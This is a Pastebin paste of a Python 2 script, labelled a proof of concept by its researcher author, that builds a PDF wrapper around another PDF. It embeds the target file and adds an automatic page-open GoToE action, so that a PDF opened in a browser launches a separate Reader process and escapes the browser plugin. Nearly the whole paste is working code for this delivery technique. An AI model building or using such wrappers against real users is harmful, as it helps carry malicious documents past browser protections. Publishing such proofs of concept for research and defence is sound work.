Guest User

Untitled

a guest
Jun 16th, 2010
233
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##########################################################################
  2. ####   Felipe Andres Manzano     *   felipe.andres.manzano@gmail.com  ####
  3. ####   http://twitter.com/feliam *   http://wordpress.com/feliam      ####
  4. ##########################################################################
  5. __doc__ = '''
  6. This opens a different Reader process when run from the browser. GotoE technique.
  7. It expects a complete PDF to to jump to from the browser.
  8.  
  9. Usage:
  10. python escapeBrowser.py standalone.pdf > browser.pdf
  11.  
  12. '''
  13.  
  14. import struct,zlib,sys,hashlib,random
  15.  
  16. ##TODO
  17. ## getattribute and setattribute must by pythonic!!
  18. ## References may be used to get actual object!
  19.  
  20.  
  21. #For constructing a minimal pdf file
  22. ## PDF REference 3rd edition:: 3.2 Objects
  23. class PDFObject:
  24.     def __init__(self):
  25.         self.n=None
  26.         self.v=None
  27.     def __str__(self):
  28.         raise "Fail"
  29.  
  30. ## PDF REference 3rd edition:: 3.2.1 Booleans Objects
  31. class PDFBool(PDFObject):
  32.     def __init__(self,s):
  33.         PDFObject.__init__(self)
  34.         self.s=s
  35.     def __str__(self):
  36.         if self.s:
  37.             return "true"
  38.         return "false"
  39.  
  40. ## PDF REference 3rd edition:: 3.2.2 Numeric Objects
  41. class PDFNum(PDFObject):
  42.     def __init__(self,s):
  43.         PDFObject.__init__(self)
  44.         self.s=s
  45.     def __str__(self):
  46.         return "%s"%self.s
  47.  
  48. ## PDF REference 3rd edition:: 3.2.3 String Objects
  49. class PDFString(PDFObject):
  50.     def __init__(self,s):
  51.         PDFObject.__init__(self)
  52.         self.s=s
  53.     def __str__(self):
  54.         return "(%s)"%self.s
  55.  
  56. ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
  57. class PDFHexString(PDFObject):
  58.     def __init__(self,s):
  59.         PDFObject.__init__(self)
  60.         self.s=s
  61.     def __str__(self):
  62.         return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"
  63.  
  64. ## A convenient type of literal Strings
  65. class PDFOctalString(PDFObject):
  66.     def __init__(self,s):
  67.         PDFObject.__init__(self)
  68.         self.s="".join(["\\%03o"%ord(c) for c in s])
  69.     def __str__(self):
  70.         return "(%s)"%self.s
  71.  
  72. ## PDF REference 3rd edition:: 3.2.4 Name Objects
  73. class PDFName(PDFObject):
  74.     def __init__(self,s):
  75.         PDFObject.__init__(self)
  76.         self.s=s
  77.     def __str__(self):
  78.         return "/%s"%self.s
  79.  
  80. ## PDF REference 3rd edition:: 3.2.5 Array Objects
  81. class PDFArray(PDFObject):
  82.     def __init__(self,s):
  83.         PDFObject.__init__(self)
  84.         self.s=s
  85.     def __str__(self):
  86.         return "[%s]"%(" ".join([ o.__str__() for o in self.s]))
  87.  
  88. ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
  89. class PDFDict(PDFObject):
  90.     def __init__(self, d={}):
  91.         PDFObject.__init__(self)
  92.         self.dict = {}
  93.         for k in d:
  94.             self.dict[k]=d[k]
  95.  
  96.     def add(self,name,obj):
  97.         self.dict[name] = obj
  98.  
  99.     def __getattr__(self,name):
  100.         try:
  101.             return self.dict[name]
  102.         except:
  103.             raise AttributeError
  104.  
  105.     def __str__(self):
  106.         s="<<"
  107.         for name in self.dict:
  108.             s+="%s %s "%(PDFName(name),self.dict[name])
  109.         s+=">>"
  110.         return s
  111.  
  112. ## PDF REference 3rd edition:: 3.2.7 Stream Objects
  113. class PDFStream(PDFDict):
  114.     def __init__(self,stream=""):
  115.         PDFDict.__init__(self)
  116.         self.stream=stream
  117.         self.filtered=self.stream
  118.         self.filters = []
  119.     def appendFilter(self, filter):
  120.         self.filters.append(filter)
  121.         self._applyFilters() #yeah every time .. so what!
  122.     def _applyFilters(self):
  123.         self.filtered = self.stream
  124.         for f in self.filters:
  125.                 self.filtered = f.encode(self.filtered)
  126.         self.add('Length', len(self.filtered))
  127.         if len(self.filters)>0:
  128.             self.add('Filter', PDFArray([f.name for f in self.filters]))
  129.         #Add Filter parameters ?
  130.     def __str__(self):
  131.         self._applyFilters() #yeah every time .. so what!
  132.         s=""
  133.         s+=PDFDict.__str__(self)
  134.         s+="\nstream\n"
  135.         s+=self.filtered
  136.         s+="\nendstream"
  137.         return s
  138.  
  139. ## PDF REference 3rd edition:: 3.2.8 Null Object
  140. class PDFNull(PDFObject):
  141.     def __init__(self):
  142.         PDFObject.__init__(self)
  143.  
  144.     def __str__(self):
  145.         return "null"
  146.  
  147. ## PDF REference 3rd edition:: 3.2.9 Indirect Objects
  148. class PDFRef(PDFObject):
  149.     def __init__(self,obj):
  150.         PDFObject.__init__(self)
  151.         self.obj=[obj]
  152.     def __str__(self):
  153.         return "%d %d R"%(self.obj[0].n,self.obj[0].v)
  154.     def get(self):
  155.         return self.obj[0]
  156.  
  157. ## PDF REference 3rd edition:: 3.3 Filters
  158. ## Example Filter...
  159. class FlateDecode:
  160.     name = PDFName('FlateDecode')
  161.     def __init__(self):
  162.         pass
  163.     def encode(self,stream):
  164.         return zlib.compress(stream)
  165.     def decode(self,stream):
  166.         return zlib.decompress(stream)
  167.  
  168. ## PDF REference 3rd edition:: 3.4 File Structure
  169. ## Simplest file structure...
  170. class PDFDoc():
  171.     def __init__(self,obfuscate=0):
  172.         self.objs=[]
  173.         self.info=None
  174.         self.root=None
  175.     def setRoot(self,root):
  176.         self.root=root
  177.     def getRoot(self):
  178.         return self.root
  179.     def setInfo(self,info):
  180.         self.info=info
  181.     def _add(self,obj):
  182.         if obj.v!=None or obj.n!=None:
  183.             raise "Already added!!!"
  184.         obj.v=0
  185.         obj.n=1+len(self.objs)
  186.         self.objs.append(obj)
  187.     def add(self,obj):
  188.         if type(obj) != type([]):
  189.             self._add(obj);        
  190.         else:
  191.             for o in obj:  
  192.                 self._add(o)
  193.     def _header(self):
  194.         return "%PDF-1.3\n%\xE7\xF3\xCF\xD3\n"
  195.     def __str__(self):
  196.         doc1 = self._header()
  197.         xref = {}
  198.         for obj in self.objs:
  199.             xref[obj.n] = len(doc1)
  200.             doc1+="%d %d obj\n"%(obj.n,obj.v)
  201.             doc1+=obj.__str__()
  202.             doc1+="\nendobj\n"
  203.         posxref=len(doc1)
  204.         doc1+="xref\n"
  205.         doc1+="0 %d\n"%(len(self.objs)+1)
  206.         doc1+="0000000000 65535 f \n"
  207.         for xr in xref.keys():
  208.             doc1+= "%010d %05d n \n"%(xref[xr],0)
  209.         doc1+="trailer\n"
  210.         trailer =  PDFDict()
  211.         trailer.add("Size",len(self.objs)+1)
  212.         trailer.add("Root",PDFRef(self.root))
  213.         if self.info:
  214.             trailer.add("Info",PDFRef(self.info))
  215.         doc1+=trailer.__str__()
  216.         doc1+="\nstartxref\n%d\n"%posxref
  217.         doc1+="%%EOF"
  218.         return doc1
  219.  
  220.  
  221. class FlateDecode:
  222.     name = PDFName('FlateDecode')
  223.     def __init__(self):
  224.         pass
  225.     def encode(self,stream):
  226.         return zlib.compress(stream)
  227.     def decode(self,stream):
  228.         return zlib.decompress(stream)
  229.  
  230. #The ... 'POC'
  231. class PDFHider:
  232.     def _gotoE(self, name, next=None):
  233.         #action
  234.         action = PDFDict()
  235.         action.add('S',PDFName('GoToE'))
  236.         action.add('NewWindow',PDFBool(self.newWindow))
  237.         action.add('T',PDFDict({'N': name, 'R': PDFName('C'),'NewWindow': PDFBool(self.newWindow)
  238.          }))
  239.         if next:
  240.             action.add('Next', next)
  241.         return action
  242.  
  243.     def _zipEmbeddFile(self,fileStr,minimal=False):
  244.         ef = PDFStream(fileStr)
  245.         if not minimal:
  246.             ef.add('Type', PDFName('EmbeddedFile'))
  247.             ef.add('Subtype',PDFName('application#2Fpdf'))
  248.             ef.add('Params',PDFDict({'Size': PDFNum(len(fileStr)),
  249.                                      'CheckSum': PDFOctalString(hashlib.md5(fileStr).digest())}) )
  250.             ef.add('DL', ' %d '%len(fileStr))
  251.         ef.appendFilter(FlateDecode())
  252.         return ef
  253.  
  254.     def _filespec(self, name, embedded):
  255.         #fileSpec
  256.         filespec = PDFDict()
  257.         filespec.add('Type',PDFName('Filespec'))
  258.         filespec.add('F',PDFString(name))
  259.         embeddedlst = PDFDict()
  260.         embeddedlst.add('F',PDFRef(embedded))
  261.         filespec.add('EF', embeddedlst)
  262.         self.doc.add(filespec)
  263.         return PDFRef(filespec)
  264.  
  265.     def __init__(self,fileStr,filename,newWindow=True):
  266.         self.newWindow = newWindow
  267.         if fileStr == None :
  268.             fileStr = file(filename).read()
  269.        
  270.         self.doc = PDFDoc()
  271.  
  272.         #outline
  273.         outlines = PDFDict()
  274.         outlines.add('Type', PDFName('Outlines'))
  275.         outlines.add('Count',PDFNum(0))
  276.  
  277.         #pages
  278.         pages = PDFDict()
  279.         pages.add('Type', PDFName('Pages'))
  280.  
  281.         action = self._gotoE(PDFHexString('attach'.encode('utf-16')))
  282.         self.doc.add(action)
  283.  
  284.         #Names
  285.         names = PDFDict()
  286.  
  287.         #catalog
  288.         catalog = PDFDict()
  289.         catalog.add('Type', PDFName('Catalog'))
  290.         catalog.add('Outlines', PDFRef(outlines))
  291.         catalog.add('Pages', PDFRef(pages))
  292.         catalog.add('Names', PDFRef(names))
  293.         catalog.add('ViewerPreferences', '<<>>')
  294.         #lets add those to doc just for showing up the Ref object.
  295.         self.doc.add([catalog,outlines,pages])
  296.         #Set the pdf root, added so we can brand it in the First pdfobj... jojojo
  297.         self.doc.setRoot(catalog)
  298.  
  299.         #1 page!
  300.         font = PDFDict()
  301.         font.add('Type',PDFName('Font'))
  302.         font.add('Subtype',PDFName('Type1'))
  303.         font.add('Name',PDFName('F1'))
  304.         font.add('BaseFont',PDFName('Helvetica'))
  305.         font.add('Encoding',PDFName('MacRomanEncoding'))
  306.         self.doc.add(font)
  307.         contents = PDFStream('BT /F1 24 Tf 0 20 Td (Shell pdf!) Tj ET')
  308.         resources = PDFDict()
  309.         resources.add('ProcSet', PDFArray([PDFName('PDF'), PDFName('Text')]))
  310.         resources.add('Font', PDFDict({'F1': PDFRef(font)}))
  311.  
  312.         #The pdf page
  313.         page = PDFDict()
  314.         page.add('Type', PDFName('Page'))
  315.         page.add('Parent', PDFRef(pages))
  316.         page.add('Contents', PDFRef(contents))
  317.         page.add('Resources', PDFRef(resources))
  318.  
  319.         [self.doc.add(x) for x in [contents, resources, page]]
  320.         pages.add('Count', PDFNum(1))
  321.         pages.add('Kids',PDFArray([PDFRef(page)]))
  322.  
  323.  
  324.         embedded = self._zipEmbeddFile(fileStr)
  325.         self.doc.add(embedded)
  326.  
  327.         #Names
  328.         namesToFiles = PDFDict()
  329.         namesToFiles.add('Names', PDFArray([
  330.                         PDFHexString('attach'.encode('utf-16')),self._filespec(filename, embedded)]))
  331.         names.add('EmbeddedFiles',namesToFiles)
  332.         self.doc.add(names)
  333.  
  334.         #open action to page
  335.         page.add('AA',PDFDict({'O': PDFRef(action)}))
  336.  
  337.     def __str__(self):
  338.         #render it
  339.         return self.doc.__str__()
  340.  
  341.  
  342.  
  343. if __name__=='__main__':
  344.     if len(sys.argv) == 1:
  345.         print __doc__
  346.         sys.exit(-1)
  347.     filename = sys.argv[1]
  348.     pdf = file(filename,"r").read()
  349.     print str(PDFHider(pdf,filename,True))
RAW Paste Data